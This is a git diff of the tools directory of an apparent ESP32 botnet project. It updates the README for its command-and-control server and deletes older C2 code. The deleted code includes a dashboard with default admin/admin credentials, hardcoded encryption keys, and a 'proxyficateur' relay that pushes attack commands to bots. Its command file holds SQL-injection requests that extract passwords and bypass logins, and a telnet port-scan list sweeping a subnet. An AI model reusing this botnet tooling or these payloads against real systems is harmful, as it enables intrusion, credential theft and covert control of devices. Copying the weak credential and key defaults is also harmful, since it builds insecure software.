a/tools/README.md +++ b/tools/README.md @@ -2,30 +2,33 @@ This directory contains tools for managing and deploying Epsilon ESP32 agents. -## C2 Server (c2/) +## C2 Server (C3PO/) The C2 (Command & Control) server manages communication with deployed ESP32 agents. ### C3PO - Main C2 Server -**c3po** is the primary C2 server used to control Epsilon bots. +**C3PO** is the primary C2 server used to control Epsilon bots. Features: -- Asynchronous Python server (asyncio) -- Device registry and management +- Threaded TCP server (sockets + threads) +- Device registry and management with per-device crypto - Group-based device organization -- Encrypted communications (ChaCha20) +- Encrypted communications (ChaCha20-Poly1305 AEAD + HKDF key derivation) +- Per-device master key keystore (`keys.json`) - Interactive CLI interface +- Optional TUI (Textual) and Web dashboard +- Camera UDP receiver + MLAT support - Command dispatching to individual devices, groups, or all -See [c2/README.md](c2/README.md) for complete C2 documentation. +See [C3PO/README.md](C3PO/README.md) for complete C2 documentation. Quick start: ```bash -cd c2 -python3 c3po.py --port 2626 +cd C3PO +python3 c3po.py ``` Authors: **@off-path**, **@eun0us** @@ -94,8 +97,8 @@ Each device supports: | `module_fakeap` | Enable fake AP module | | `recon_camera` | Enable camera reconnaissance (ESP32-CAM) | | `recon_ble_trilat` | Enable BLE trilateration | -| `crypto_key` | ChaCha20 encryption key (32 chars) | -| `crypto_nonce` | ChaCha20 nonce (12 chars) | + +> **Note**: Crypto keys are no longer configured here. Each device must be provisioned with a unique master key using `tools/provisioning/provision.py`. ### Hostname Randomization @@ -151,6 +154,26 @@ python3 flash.py --config devices.json --flash-only See [flasher/README.md](flasher/README.md) for complete documentation. +## Device Provisioning (provisioning/) + +The **provisioning** tool generates and flashes unique per-device master keys into factory NVS partitions. + +### Features + +- Generates 32-byte random master keys (cryptographically secure) +- Creates NVS binary for factory partition (`fctry` at offset 0x10000) +- Saves keys to C2 keystore (`keys.json`) for automatic lookup +- Supports flashing directly to connected ESP32 + +### Quick Start + +```bash +cd provisioning +python3 provision.py --device-id my-device --port /dev/ttyUSB0 +``` + +The master key is used by the firmware with HKDF-SHA256 to derive encryption keys for ChaCha20-Poly1305 AEAD. + ## NanoPB Tools (nan/) Tools for Protocol Buffers (nanoPB) code generation for the embedded communication protocol. diff --git a/tools/c2/README.md b/tools/c2/README.md deleted file mode 100644 index aee7de0..0000000 --- a/tools/c2/README.md +++ /dev/null @@ -1,322 +0,0 @@ -# C2 Server Documentation - -## TODO - -**TODO:** - -```md - -- Add requierements.txt - -- Implementer la coexistence entre multiflasher fichier (valid-id.txt - separator "\n" - C2 will only authorize device who are register in 'valid-id.txt' or add c2 command style 'authorizeId ' and he will be add into id list & valid-id.txt file) - - -``` - -## Overview - -This C2 server is a Python-based control plane designed to manage a fleet of ESP devices (agents). - -It provides a clean and extensible command-line interface to: - -- Manage connected devices by unique ID -- Send commands to individual devices, groups, or all devices -- Organize devices into logical groups -- Display connection duration to the C2 -- Support structured commands and raw developer commands -- Serve as a solid base for future plugins and services - -The project intentionally favors simplicity, readability, and extensibility. - ---- - -## Architecture Overview - -```md - -c2/ -├── main.py # Entry point -├── core/ -│ ├── device.py # Device model -│ ├── registry.py # Connected device registry -│ ├── crypto.py # Encryption wrapper -│ ├── transport.py # Message handling -│ └── groups.py # Group registry -├── commands/ -│ ├── base.py # Command base class -│ ├── registry.py # Command registry -│ └── *.py # ESP command implementations -├── cli/ -│ ├── cli.py # Interactive CLI -│ └── help.py # Help system -├── logs/ -│ └── manager.py # ESP log handling -├── proto/ -│ ├── command.proto # Protocol definition -│ └── command_pb2.py # Generated protobuf code -└── utils/ -│ └── constant.py # Default script constant -``` - ---- - -## Core Concepts - -### Device Identity - -- Each ESP device is identified by a unique `esp_id` -- Devices are not identified by IP or port -- Reconnecting devices automatically replace their previous session - -### Authentication Model - -- Authentication is implicit -- If the server can successfully decrypt and parse a message, the device is considered valid -- No explicit handshake is required -- Fully compatible with existing firmware - ---- - -## Running the Server - -```bash -python main.py -``` - -## CLI Usage - -### List Connected Devices - -```md -list -*Example d'output:* - -ID IP CONNECTED ----------------------------------------- -ce4f626b 192.168.1.42 2m 14s -a91dd021 192.168.1.43 18s -``` - -The `CONNECTED` column shows how long the device has been connected to the c2 - -### Help Commands - -```text - help [commands] -*example:* help -output: - -=== C2 HELP === - -CLI Commands: - help [cmd] Show this help - list List connected ESP devices - send Send a command to ESP(s) - group Manage ESP groups - clear Clear the screen - exit Exit the C2 - -ESP Commands: - - reboot Reboot ESP - -DEV MODE ENABLED: - You can send arbitrary text commands: - send - send group - send all - -``` - -#### Help System - -```md -General Help -help - -Help for a Specific ESP Command -help reboot - -Help for the send Command -help send - - -The help output is dynamically generated from the registered commands. -``` - -### Sending Commands - -```md - send -*example:* send ce4f626b reboot # The device named "ce4f626b" will reboot -``` - -### Send to All Devices - -```md - send all [command] -*example:* send all reboot -``` - -### Send to a Group - -```md - send group bots -*example:* send group bots reboot -``` - -### Developer Mode (RAW Commands) - -When `DEV_MODE = True`, arbitrary text commands can be sent: - -```md - send [test 12 34] -*example:* send ce4f626b custom start stream -output **ce4f626b:** "start stream" -``` - -The commands are sent as-is inside the `Command.command` field. - -## Groups - -### Add Devices to a Group - -```md - group add "group_name" -*example:* group add bots ce4f626b a91dd021 - -### List Groups -```md - group list -*Example output:* -bots: ce4f626b, a91dd021 -trilat: e2, e3, e1 -``` - -### Show Group Members - -```md - group show [group] -*example:* group show bots -output: -bots: ce4f626b, a91dd021 -``` - -### Remove a Device from a Group - -```md -group remove bots ce4f626b -``` - -Command System -Adding a New ESP Command - -Create a new file in commands/, for example status.py - -Implement the command handler: - -from commands.base import CommandHandler -from proto.command_pb2 import Command - -class StatusCommand(CommandHandler): - name = "status" - description = "Get device status" - - def build(self, args): - cmd = Command() - cmd.command = "status" - return cmd.SerializeToString() - - -Register the command in main.py: - -commands.register(StatusCommand()) - - -The command will automatically appear in: - -CLI tab completion - -help - -send - -## Protocol Definition - -// explain nano pb - -### Command - -```h -message Command { - string command = 1; -} -``` - -### Response - -```h -message Response { - string tag = 1; - string id = 2; - string message = 3; - bytes response_data = 4; -} -``` - -### Log - -```h -message Log { - string tag = 1; - string id = 2; - string log_message = 3; - uint32 log_error_code = 4; -} -``` - -## Communication - -The communication between c2 and bots are end-to-end encrypted.
-Method: - -```md - - ChaCha20 symmetric encryption - - Base64 transport encoding - - Encryption logic centralized in core/crypto.py - - Fully compatible with current ESP firmware -``` - -## Design Limitations (Intentional) - -```md - - No persistent storage (groups reset on restart) - - No request/response correlation (request-id) - - No permissions or role management - - No dynamic plugin loading -``` - -These are deferred intentionally to keep the core system minimal and clean. - -## Suggested Future Extensions - -Todo and additional features: - -```md -- Plugin system (camera, proxy, trilateration/multilateration / etc.. ) -- Persistent user & group storage (JSON) (Multi-Flasher -> devices.json -> id-list.csv [Allow ID on c2]) -- Idle time display (last-seen) -- Request/response correlation with request-id -- Protocol versioning -``` - ---- - -### Authors - -```md -- @off-path -- @Eun0us -``` - ---- \ No newline at end of file diff --git a/tools/c2/core/crypto.py b/tools/c2/core/crypto.py deleted file mode 100644 index e180679..0000000 --- a/tools/c2/core/crypto.py +++ /dev/null @@ -1,31 +0,0 @@ -import base64 -from Crypto.Cipher import ChaCha20 - -KEY = b"testde32chars0000000000000000000" -NONCE = b"noncenonceno" - - -class CryptoContext: - def __init__(self, key: bytes = KEY, nonce: bytes = NONCE): - self.key = key - self.nonce = nonce - - # ========================= - # ChaCha20 - # ========================= - def encrypt(self, data: bytes) -> bytes: - cipher = ChaCha20.new(key=self.key, nonce=self.nonce) - return cipher.encrypt(data) - - def decrypt(self, data: bytes) -> bytes: - cipher = ChaCha20.new(key=self.key, nonce=self.nonce) - return cipher.decrypt(data) - - # ========================= - # Base64 - # ========================= - def b64_encode(self, data: bytes) -> bytes: - return base64.b64encode(data) - - def b64_decode(self, data: bytes) -> bytes: - return base64.b64decode(data) diff --git a/tools/c2/requirements.txt b/tools/c2/requirements.txt deleted file mode 100644 index 2844bec..0000000 --- a/tools/c2/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -pycryptodome>=3.15.0 -protobuf>=4.21.0 diff --git a/tools/c2/web/server.py b/tools/c2/web/server.py deleted file mode 100644 index 425cc52..0000000 --- a/tools/c2/web/server.py +++ /dev/null @@ -1,387 +0,0 @@ -"""Unified Flask web server for ESPILON C2 dashboard.""" - -import os -import logging -import threading -import time -from functools import wraps -from typing import Optional - -from flask import Flask, render_template, send_from_directory, request, redirect, url_for, session, jsonify -from werkzeug.serving import make_server - -from .mlat import MlatEngine - -# Disable Flask/Werkzeug request logging -logging.getLogger('werkzeug').setLevel(logging.ERROR) - - -class UnifiedWebServer: - """ - Unified Flask-based web server for ESPILON C2. - - Provides: - - Dashboard: View connected ESP32 devices - - Cameras: View live camera streams with recording - - Trilateration: Visualize BLE device positioning - """ - - def __init__(self, - host: str = "0.0.0.0", - port: int = 8000, - image_dir: str = "static/streams", - username: str = "admin", - password: str = "admin", - secret_key: str = "change_this_for_prod", - multilat_token: str = "multilat_secret_token", - device_registry=None, - mlat_engine: Optional[MlatEngine] = None, - camera_receiver=None): - """ - Initialize the unified web server. - - Args: - host: Host to bind the server - port: Port for the web server - image_dir: Directory containing camera frame images - username: Login username - password: Login password - secret_key: Flask session secret key - multilat_token: Bearer token for MLAT API - device_registry: DeviceRegistry instance for device listing - mlat_engine: MlatEngine instance (created if None) - camera_receiver: UDPReceiver instance for camera control - """ - self.host = host - self.port = port - self.image_dir = image_dir - self.username = username - self.password = password - self.secret_key = secret_key - self.multilat_token = multilat_token - self.device_registry = device_registry - self.mlat = mlat_engine or MlatEngine() - self.camera_receiver = camera_receiver - - # Ensure image directory exists - c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) - full_image_dir = os.path.join(c2_root, self.image_dir) - os.makedirs(full_image_dir, exist_ok=True) - - self._app = self._create_app() - self._server = None - self._thread = None - - def set_camera_receiver(self, receiver): - """Set the camera receiver after initialization.""" - self.camera_receiver = receiver - - @property - def is_running(self) -> bool: - return self._thread is not None and self._thread.is_alive() - - def _create_app(self) -> Flask: - """Create and configure the Flask application.""" - c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) - template_dir = os.path.join(c2_root, "templates") - static_dir = os.path.join(c2_root, "static") - - app = Flask(__name__, - template_folder=template_dir, - static_folder=static_dir) - app.secret_key = self.secret_key - - web_server = self - - # ========== Auth Decorators ========== - - def require_login(f): - @wraps(f) - def decorated(*args, **kwargs): - if not session.get("logged_in"): - return redirect(url_for("login")) - return f(*args, **kwargs) - return decorated - - def require_api_auth(f): - @wraps(f) - def decorated(*args, **kwargs): - if session.get("logged_in"): - return f(*args, **kwargs) - - auth_header = request.headers.get("Authorization", "") - if auth_header.startswith("Bearer "): - token = auth_header[7:] - if token == web_server.multilat_token: - return f(*args, **kwargs) - - return jsonify({"error": "Unauthorized"}), 401 - return decorated - - # ========== Auth Routes ========== - - @app.route("/login", methods=["GET", "POST"]) - def login(): - error = None - if request.method == "POST": - username = request.form.get("username") - password = request.form.get("password") - if username == web_server.username and password == web_server.password: - session["logged_in"] = True - return redirect(url_for("dashboard")) - else: - error = "Invalid credentials." - return render_template("login.html", error=error) - - @app.route("/logout") - def logout(): - session.pop("logged_in", None) - return redirect(url_for("login")) - - # ========== Page Routes ========== - - @app.route("/") - @require_login - def index(): - return redirect(url_for("dashboard")) - - @app.route("/dashboard") - @require_login - def dashboard(): - return render_template("dashboard.html", active_page="dashboard") - - @app.route("/cameras") - @require_login - def cameras(): - full_image_dir = os.path.join(c2_root, web_server.image_dir) - try: - image_files = sorted([ - f for f in os.listdir(full_image_dir) - if f.endswith(".jpg") - ]) - except FileNotFoundError: - image_files = [] - - return render_template("cameras.html", active_page="cameras", image_files=image_files) - - @app.route("/mlat") - @require_login - def mlat(): - return render_template("mlat.html", active_page="mlat") - - # ========== Static Files ========== - - @app.route("/streams/") - @require_login - def stream_image(filename): - full_image_dir = os.path.join(c2_root, web_server.image_dir) - return send_from_directory(full_image_dir, filename) - - @app.route("/recordings/") - @require_login - def download_recording(filename): - recordings_dir = os.path.join(c2_root, "static", "recordings") - return send_from_directory(recordings_dir, filename, as_attachment=True) - - # ========== Device API ========== - - @app.route("/api/devices") - @require_api_auth - def api_devices(): - if web_server.device_registry is None: - return jsonify({"error": "Device registry not available", "devices": []}) - - now = time.time() - devices = [] - - for d in web_server.device_registry.all(): - devices.append({ - "id": d.id, - "ip": d.address[0] if d.address else "unknown", - "port": d.address[1] if d.address else 0, - "status": d.status, - "connected_at": d.connected_at, - "last_seen": d.last_seen, - "connected_for_seconds": round(now - d.connected_at, 1), - "last_seen_ago_seconds": round(now - d.last_seen, 1) - }) - - return jsonify({ - "devices": devices, - "count": len(devices) - }) - - # ========== Camera API ========== - - @app.route("/api/cameras") - @require_api_auth - def api_cameras(): - full_image_dir = os.path.join(c2_root, web_server.image_dir) - try: - cameras = [ - f.replace(".jpg", "") - for f in os.listdir(full_image_dir) - if f.endswith(".jpg") - ] - except FileNotFoundError: - cameras = [] - - # Add recording status if receiver available - result = {"cameras": [], "count": len(cameras)} - for cam_id in cameras: - cam_info = {"id": cam_id, "recording": False} - if web_server.camera_receiver: - status = web_server.camera_receiver.get_recording_status(cam_id) - cam_info["recording"] = status.get("recording", False) - cam_info["filename"] = status.get("filename") - result["cameras"].append(cam_info) - - result["count"] = len(result["cameras"]) - return jsonify(result) - - # ========== Recording API ========== - - @app.route("/api/recording/start/", methods=["POST"]) - @require_api_auth - def api_recording_start(camera_id): - if not web_server.camera_receiver: - return jsonify({"error": "Camera receiver not available"}), 503 - - result = web_server.camera_receiver.start_recording(camera_id) - if "error" in result: - return jsonify(result), 400 - return jsonify(result) - - @app.route("/api/recording/stop/", methods=["POST"]) - @require_api_auth - def api_recording_stop(camera_id): - if not web_server.camera_receiver: - return jsonify({"error": "Camera receiver not available"}), 503 - - result = web_server.camera_receiver.stop_recording(camera_id) - if "error" in result: - return jsonify(result), 400 - return jsonify(result) - - @app.route("/api/recording/status") - @require_api_auth - def api_recording_status(): - if not web_server.camera_receiver: - return jsonify({"error": "Camera receiver not available"}), 503 - - camera_id = request.args.get("camera_id") - return jsonify(web_server.camera_receiver.get_recording_status(camera_id)) - - @app.route("/api/recordings") - @require_api_auth - def api_recordings_list(): - if not web_server.camera_receiver: - return jsonify({"recordings": []}) - - return jsonify({"recordings": web_server.camera_receiver.list_recordings()}) - - # ========== Trilateration API ========== - - @app.route("/api/mlat/collect", methods=["POST"]) - @require_api_auth - def api_mlat_collect(): - raw_data = request.get_data(as_text=True) - count = web_server.mlat.parse_data(raw_data) - - if count > 0: - web_server.mlat.calculate_position() - - return jsonify({ - "status": "ok", - "readings_processed": count - }) - - @app.route("/api/mlat/state") - @require_api_auth - def api_mlat_state(): - state = web_server.mlat.get_state() - - if state["target"] is None and state["scanners_count"] >= 3: - result = web_server.mlat.calculate_position() - if "position" in result: - state["target"] = { - "position": result["position"], - "confidence": result.get("confidence", 0), - "calculated_at": result.get("calculated_at", time.time()), - "age_seconds": 0 - } - - return jsonify(state) - - @app.route("/api/mlat/config", methods=["GET", "POST"]) - @require_api_auth - def api_mlat_config(): - if request.method == "POST": - data = request.get_json() or {} - web_server.mlat.update_config( - rssi_at_1m=data.get("rssi_at_1m"), - path_loss_n=data.get("path_loss_n"), - smoothing_window=data.get("smoothing_window") - ) - - return jsonify({ - "rssi_at_1m": web_server.mlat.rssi_at_1m, - "path_loss_n": web_server.mlat.path_loss_n, - "smoothing_window": web_server.mlat.smoothing_window - }) - - @app.route("/api/mlat/clear", methods=["POST"]) - @require_api_auth - def api_mlat_clear(): - web_server.mlat.clear() - return jsonify({"status": "ok"}) - - # ========== Stats API ========== - - @app.route("/api/stats") - @require_api_auth - def api_stats(): - full_image_dir = os.path.join(c2_root, web_server.image_dir) - try: - camera_count = len([ - f for f in os.listdir(full_image_dir) - if f.endswith(".jpg") - ]) - except FileNotFoundError: - camera_count = 0 - - device_count = 0 - if web_server.device_registry: - device_count = len(list(web_server.device_registry.all())) - - multilat_state = web_server.mlat.get_state() - - return jsonify({ - "active_cameras": camera_count, - "connected_devices": device_count, - "multilateration_scanners": multilat_state["scanners_count"], - "server_running": True - }) - - return app - - def start(self) -> bool: - """Start the web server in a background thread.""" - if self.is_running: - return False - - self._server = make_server(self.host, self.port, self._app, threaded=True) - self._thread = threading.Thread(target=self._server.serve_forever, daemon=True) - self._thread.start() - return True - - def stop(self): - """Stop the web server.""" - if self._server: - self._server.shutdown() - self._server = None - self._thread = None - - def get_url(self) -> str: - """Get the server URL.""" - return f"http://{self.host}:{self.port}" diff --git a/tools/c3po/README.md b/tools/c3po/README.md deleted file mode 100644 index 908e7a4..0000000 --- a/tools/c3po/README.md +++ /dev/null @@ -1,14 +0,0 @@ -# Command & Controll - -Code refacto dans .tools/c2 a finir Trilateration -> multilateration - -Run c3po.py and ur c2 are up on port 2626 u can edit it on /utils/constant.py - -Je dois faire cette doc - -( J'ai refacto le code dans [Click Here](../c2/README.md)) - -## Authors - -- @off-path (Main dev c2) -- @Eun0us (Trillateration implementation + proto buff) diff --git a/tools/c3po/c3po.py b/tools/c3po/c3po.py deleted file mode 100644 index b53e9a9..0000000 --- a/tools/c3po/c3po.py +++ /dev/null @@ -1,162 +0,0 @@ -import base64 -import socket -import threading -import os -from utils.espilon_pb2 import ESPMessage, C2Command -from utils.chacha20 import crypt -from utils.manager import add_to_group, remove_group, remove_esp_from_group -from utils.utils import _print_status, _find_client -from utils.reboot import reboot -from utils.cli import _setup_cli, _color, cli_interface -from tools.c2.utils.constant import HOST, PORT, COMMANDS - -from utils.message_process import process_esp_message - - -class C2Server: - def __init__(self): - self.clients = {} - self.groups = {} - - self.clients_ids = {} - - # For response synchronization - self.response_events = {} - self.response_data = {} - - self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - self.server.bind((HOST, PORT)) - self.server.listen(5) - - _setup_cli(self) - self._start_server() - - # ---------- Core Server Functions ---------- - def _start_server(self): - print(f"\n{_color('GREEN')}[*] Server is listening on {HOST}:{PORT}{_color('RESET')}") - threading.Thread(target=self._accept_clients, daemon=True).start() - cli_interface(self) - - def _accept_clients(self): - while True: - client_socket, client_address = self.server.accept() - threading.Thread(target=self._handle_client, args=(client_socket, client_address)).start() - - def _handle_client(self, client_socket, client_address): - self._close_existing_client(client_address) - self.clients[client_address] = client_socket - _print_status(f"New client connected : {client_address}", "GREEN") - - # Initialize event for this client - self.response_events[client_address] = threading.Event() - self.response_data[client_address] = None - - while True: - try: - message = client_socket.recv(4096) - if not message: - break - - try: - process_esp_message(self, client_address, message) - - except Exception as e: - print(f"Error during decryption: {e}") - continue - - except (ConnectionResetError, BrokenPipeError): - break - - _print_status(f"Client {client_address} disconnected", "RED") - self.clients.pop(client_address, None) - if client_address in self.response_events: - del self.response_events[client_address] - if client_address in self.response_data: - del self.response_data[client_address] - client_socket.close() - - # ---------- Client Management ---------- - def _close_existing_client(self, client_address): - if client_address in self.clients: - self.clients[client_address].close() - del self.clients[client_address] - _print_status(f"Client {client_address} disconnected", "RED") - - - # ---------- CLI Interface ---------- - def _complete(self, text, state): - if text.startswith("reboot "): - options = [addr[0] for addr in self.clients.keys() if addr[0].startswith(text[7:])] - options.append("all") - options.extend(self.groups.keys()) - elif text.startswith("add_group "): - options = [addr[0] for addr in self.clients.keys() if addr[0].startswith(text[10:])] - elif text.startswith("remove_group "): - options = [group for group in self.groups.keys() if group.startswith(text[13:])] - elif text.startswith("remove_esp_from "): - parts = text.split() - if len(parts) >= 2 and parts[1] in self.groups: - options = self.groups[parts[1]] - else: - options = [cmd for cmd in COMMANDS if cmd.startswith(text)] - - return options[state] if state < len(options) else None - - def _handle_reboot(self, parts): - if len(parts) != 2: - _print_status("Invalid command. Use 'reboot ', 'reboot all', or 'reboot '", "RED", "⚠") - return - - target = parts[1] - if target == "all": - reboot(self, mode="all") - elif target in self.groups: - reboot(self, target, mode="group") - else: - client = _find_client(self, target) - if client: - reboot(self, client, mode="single") - else: - _print_status(f"Client with ID {target} not found", "RED", "⚠") - - def _handle_add_group(self, parts): - if len(parts) != 3: - _print_status("Invalid command. Use 'add_group '", "RED", "⚠") - return - - group_name, client_id = parts[1], parts[2] - client = _find_client(self, client_id) - - if client: - add_to_group(self, group_name, client) - else: - _print_status(f"Client with ID {client_id} not found", "RED", "⚠") - - def _handle_remove_group(self, parts): - if len(parts) != 2: - _print_status(" Invalid command. Use 'remove_group '", "RED", "⚠") - return - remove_group(self, parts[1]) - - def _handle_remove_esp_from(self, parts): - if len(parts) < 3: - _print_status(" Invalid command. Use 'remove_esp_from [,...]'", "RED", "⚠") - return - - group_name = parts[1] - esp_list = [] - for part in parts[2:]: - esp_list.extend(part.split(',')) - - remove_esp_from_group(self, group_name, esp_list) - - def _shutdown(self): - _print_status(" Closing server ...", "YELLOW", "✋") - for client in list(self.clients.values()): - client.close() - self.server.close() - os._exit(0) - -if __name__ == "__main__": - C2Server() diff --git a/tools/c3po/core/device.py b/tools/c3po/core/device.py deleted file mode 100644 index 9f1bb5c..0000000 --- a/tools/c3po/core/device.py +++ /dev/null @@ -1,31 +0,0 @@ -from dataclasses import dataclass, field -import socket -import time - - -@dataclass -class Device: - """ - Représente un ESP32 connecté au serveur - """ - id: str - sock: socket.socket - address: tuple[str, int] - - connected_at: float = field(default_factory=time.time) - last_seen: float = field(default_factory=time.time) - - def touch(self): - """ - Met à jour la date de dernière activité - """ - self.last_seen = time.time() - - def close(self): - """ - Ferme proprement la connexion - """ - try: - self.sock.close() - except Exception: - pass diff --git a/tools/c3po/core/registry.py b/tools/c3po/core/registry.py deleted file mode 100644 index 776928e..0000000 --- a/tools/c3po/core/registry.py +++ /dev/null @@ -1,67 +0,0 @@ -import threading -from typing import Dict, List, Optional -from core.device import Device - - -class DeviceRegistry: - """ - Registre central des ESP connectés. - Clé primaire : esp_id - """ - def __init__(self): - self._devices: Dict[str, Device] = {} - self._lock = threading.Lock() - - # ---------- Gestion des devices ---------- - - def add(self, device: Device) -> None: - """ - Ajoute ou remplace un device (reconnexion) - """ - with self._lock: - self._devices[device.id] = device - - def remove(self, esp_id: str) -> None: - """ - Supprime un device par ID - """ - with self._lock: - device = self._devices.pop(esp_id, None) - if device: - device.close() - - def get(self, esp_id: str) -> Optional[Device]: - """ - Récupère un device par ID - """ - with self._lock: - return self._devices.get(esp_id) - - def all(self) -> List[Device]: - """ - Retourne la liste de tous les devices - """ - with self._lock: - return list(self._devices.values()) - - def ids(self) -> List[str]: - """ - Retourne la liste des IDs ESP (pour CLI / tabulation) - """ - with self._lock: - return list(self._devices.keys()) - - # ---------- Utilitaires ---------- - - def exists(self, esp_id: str) -> bool: - with self._lock: - return esp_id in self._devices - - def touch(self, esp_id: str) -> None: - """ - Met à jour last_seen d’un ESP - """ - with self._lock: - device = self._devices.get(esp_id) - if device: - device.touch() diff --git a/tools/c3po/proxyficateur/commands.txt b/tools/c3po/proxyficateur/commands.txt deleted file mode 100644 index 40ab44e..0000000 --- a/tools/c3po/proxyficateur/commands.txt +++ /dev/null @@ -1,5 +0,0 @@ -192.168.1.155:5000|GET /search?id=1%20UNION%20SELECT%20NULL,NULL,password%20FROM%20users HTTP/1.1\r\nHost: 192.168.1.155:5000\r\nConnection: close\r\n\r\n -192.168.1.155:5000|GET /login?user=admin&pass=%27%20OR%201%3D1%20--%20 HTTP/1.1\r\nHost: 192.168.1.155:5000\r\nConnection: close\r\n\r\n -192.168.1.155:5000|GET /search?q=%27%20UNION%20SELECT%20NULL--%20 HTTP/1.1\r\nHost: 192.168.1.155:5000\r\nConnection: close\r\n\r\n -192.168.1.155:5000|GET /product?id=1%27%20AND%201%3DCONVERT%28int%2C@@version%29--%20 HTTP/1.1\r\nHost: 192.168.1.155:5000\r\nConnection: close\r\n\r\n -82.67.142.175:22|SSH_CHECK diff --git a/tools/c3po/proxyficateur/proxyficateur.py b/tools/c3po/proxyficateur/proxyficateur.py deleted file mode 100644 index 3d5540f..0000000 --- a/tools/c3po/proxyficateur/proxyficateur.py +++ /dev/null @@ -1,64 +0,0 @@ -import socket -import threading -import time - -clients = {} -lock = threading.Lock() - -def load_all_commands(filename="commands.txt"): - try: - with open(filename, "r") as f: - return [line.strip() for line in f if line.strip()] - except FileNotFoundError: - print(f"[!] File {filename} not found.") - return [] - -def handle_client(client_socket, address): - client_id = f"{address[0]}:{address[1]}" - print(f"[+] New client connected : {client_id}") - - with lock: - clients[client_id] = client_socket - - commands = load_all_commands() - - try: - for cmd in commands: - print(f"[→] Send to {client_id} : {cmd}") - client_socket.sendall((cmd + "\n").encode()) - - # Attente de la réponse du client avant de continuer - data = client_socket.recv(4096) - if not data: - print(f"[!] Client {client_id} has closed connexion.") - break - print(f"[←] Résponse from {client_id} : {data.decode(errors='ignore')}") - - except Exception as e: - print(f"[!] Error with {client_id} : {e}") - - finally: - with lock: - if client_id in clients: - del clients[client_id] - client_socket.close() - print(f"[-] Client disconnected : {client_id}") - -def accept_connections(server_socket): - while True: - client_socket, addr = server_socket.accept() - threading.Thread(target=handle_client, args=(client_socket, addr), daemon=True).start() - -def start_server(host="0.0.0.0", port=2021): - server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - server.bind((host, port)) - server.listen(5) - print(f"[Server] Listening on {host}:{port}") - - threading.Thread(target=accept_connections, args=(server,), daemon=True).start() - - while True: - time.sleep(1) - -if __name__ == "__main__": - start_server() diff --git a/tools/c3po/proxyficateur/scan-net.txt b/tools/c3po/proxyficateur/scan-net.txt deleted file mode 100644 index cbb010f..0000000 --- a/tools/c3po/proxyficateur/scan-net.txt +++ /dev/null @@ -1,254 +0,0 @@ -192.168.1.1:23|PORT_CHECK -192.168.1.2:23|PORT_CHECK -192.168.1.3:23|PORT_CHECK -192.168.1.4:23|PORT_CHECK -192.168.1.5:23|PORT_CHECK -192.168.1.6:23|PORT_CHECK -192.168.1.7:23|PORT_CHECK -192.168.1.8:23|PORT_CHECK -192.168.1.9:23|PORT_CHECK -192.168.1.10:23|PORT_CHECK -192.168.1.11:23|PORT_CHECK -192.168.1.12:23|PORT_CHECK -192.168.1.13:23|PORT_CHECK -192.168.1.14:23|PORT_CHECK -192.168.1.15:23|PORT_CHECK -192.168.1.16:23|PORT_CHECK -192.168.1.17:23|PORT_CHECK -192.168.1.18:23|PORT_CHECK -192.168.1.19:23|PORT_CHECK -192.168.1.20:23|PORT_CHECK -192.168.1.21:23|PORT_CHECK -192.168.1.22:23|PORT_CHECK -192.168.1.23:23|PORT_CHECK -192.168.1.24:23|PORT_CHECK -192.168.1.25:23|PORT_CHECK -192.168.1.26:23|PORT_CHECK -192.168.1.27:23|PORT_CHECK -192.168.1.28:23|PORT_CHECK -192.168.1.29:23|PORT_CHECK -192.168.1.30:23|PORT_CHECK -192.168.1.31:23|PORT_CHECK -192.168.1.32:23|PORT_CHECK -192.168.1.33:23|PORT_CHECK -192.168.1.34:23|PORT_CHECK -192.168.1.35:23|PORT_CHECK -192.168.1.36:23|PORT_CHECK -192.168.1.37:23|PORT_CHECK -192.168.1.38:23|PORT_CHECK -192.168.1.39:23|PORT_CHECK -192.168.1.40:23|PORT_CHECK -192.168.1.41:23|PORT_CHECK -192.168.1.42:23|PORT_CHECK -192.168.1.43:23|PORT_CHECK -192.168.1.44:23|PORT_CHECK -192.168.1.45:23|PORT_CHECK -192.168.1.46:23|PORT_CHECK -192.168.1.47:23|PORT_CHECK -192.168.1.48:23|PORT_CHECK -192.168.1.49:23|PORT_CHECK -192.168.1.50:23|PORT_CHECK -192.168.1.51:23|PORT_CHECK -192.168.1.52:23|PORT_CHECK -192.168.1.53:23|PORT_CHECK -192.168.1.54:23|PORT_CHECK -192.168.1.55:23|PORT_CHECK -192.168.1.56:23|PORT_CHECK -192.168.1.57:23|PORT_CHECK -192.168.1.58:23|PORT_CHECK -192.168.1.59:23|PORT_CHECK -192.168.1.60:23|PORT_CHECK -192.168.1.61:23|PORT_CHECK -192.168.1.62:23|PORT_CHECK -192.168.1.63:23|PORT_CHECK -192.168.1.64:23|PORT_CHECK -192.168.1.65:23|PORT_CHECK -192.168.1.66:23|PORT_CHECK -192.168.1.67:23|PORT_CHECK -192.168.1.68:23|PORT_CHECK -192.168.1.69:23|PORT_CHECK -192.168.1.70:23|PORT_CHECK -192.168.1.71:23|PORT_CHECK -192.168.1.72:23|PORT_CHECK -192.168.1.73:23|PORT_CHECK -192.168.1.74:23|PORT_CHECK -192.168.1.75:23|PORT_CHECK -192.168.1.76:23|PORT_CHECK -192.168.1.77:23|PORT_CHECK -192.168.1.78:23|PORT_CHECK -192.168.1.79:23|PORT_CHECK -192.168.1.80:23|PORT_CHECK -192.168.1.81:23|PORT_CHECK -192.168.1.82:23|PORT_CHECK -192.168.1.83:23|PORT_CHECK -192.168.1.84:23|PORT_CHECK -192.168.1.85:23|PORT_CHECK -192.168.1.86:23|PORT_CHECK -192.168.1.87:23|PORT_CHECK -192.168.1.88:23|PORT_CHECK -192.168.1.89:23|PORT_CHECK -192.168.1.90:23|PORT_CHECK -192.168.1.91:23|PORT_CHECK -192.168.1.92:23|PORT_CHECK -192.168.1.93:23|PORT_CHECK -192.168.1.94:23|PORT_CHECK -192.168.1.95:23|PORT_CHECK -192.168.1.96:23|PORT_CHECK -192.168.1.97:23|PORT_CHECK -192.168.1.98:23|PORT_CHECK -192.168.1.99:23|PORT_CHECK -192.168.1.100:23|PORT_CHECK -192.168.1.101:23|PORT_CHECK -192.168.1.102:23|PORT_CHECK -192.168.1.103:23|PORT_CHECK -192.168.1.104:23|PORT_CHECK -192.168.1.105:23|PORT_CHECK -192.168.1.106:23|PORT_CHECK -192.168.1.107:23|PORT_CHECK 